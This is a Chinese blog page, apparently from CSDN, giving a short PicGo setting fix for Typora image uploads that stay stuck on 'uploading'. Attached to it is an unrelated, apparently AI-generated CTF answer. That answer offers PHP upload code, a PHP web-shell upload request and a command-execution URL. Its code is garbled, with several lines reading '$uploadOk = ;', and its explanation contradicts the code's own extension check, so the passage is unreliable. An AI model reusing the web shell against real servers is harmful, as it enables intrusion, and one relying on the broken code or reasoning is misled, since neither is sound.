【问题解决】typora+picgo上传图片一直在uploading的解决方法

 我们在typora+picgo搭建完图床后,我们需要上传图片,我们上传图片时,发现一直在uploading转圈圈,因此我去查询了解决方法,并且成功的解决问题了 

问题情况如下图:

 解决方法:

打开picgo,把这个勾选上就可以了

 

 

  • 61
    点赞
  • 49
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 51
    评论
我可以回答这个问题。这里有一道ctf web方向的文件上传题目的代码和解决方法: 代码: ```php <?php if(isset($_POST['submit'])){ $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = ; } } if (file_exists($target_file)) { echo "Sorry, file already exists."; $uploadOk = ; } if ($_FILES["fileToUpload"]["size"] > 500000) { echo "Sorry, your file is too large."; $uploadOk = ; } if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; $uploadOk = ; } if ($uploadOk == ) { echo "Sorry, your file was not uploaded."; } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } } ?> <!DOCTYPE html> <html> <body> <form action="" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form> </body> </html> ``` 解决方法: 这道题目的漏洞在于没有对上传的文件进行类型检查,只是简单地检查了文件的后缀名。攻击者可以通过修改文件的Content-Type来绕过这个检查。因此,我们可以通过修改Content-Type来上传一个包含恶意代码的文件,然后执行这个文件来获取flag。 具体步骤如下: 1. 上传一个包含恶意代码的文件,如下所示: ``` ------WebKitFormBoundary7MA4YWxkTrZugW Content-Disposition: form-data; name="fileToUpload"; filename="shell.php" Content-Type: image/jpeg <?php echo system($_GET['cmd']); ?> ------WebKitFormBoundary7MA4YWxkTrZugW-- ``` 2. 修改Content-Type为`image/jpeg`,然后提交表单。 3. 访问上传的文件,执行恶意代码,如下所示: ``` http://example.com/uploads/shell.php?cmd=ls ``` 这样就可以获取flag了。
评论 51
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学IT的小卢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值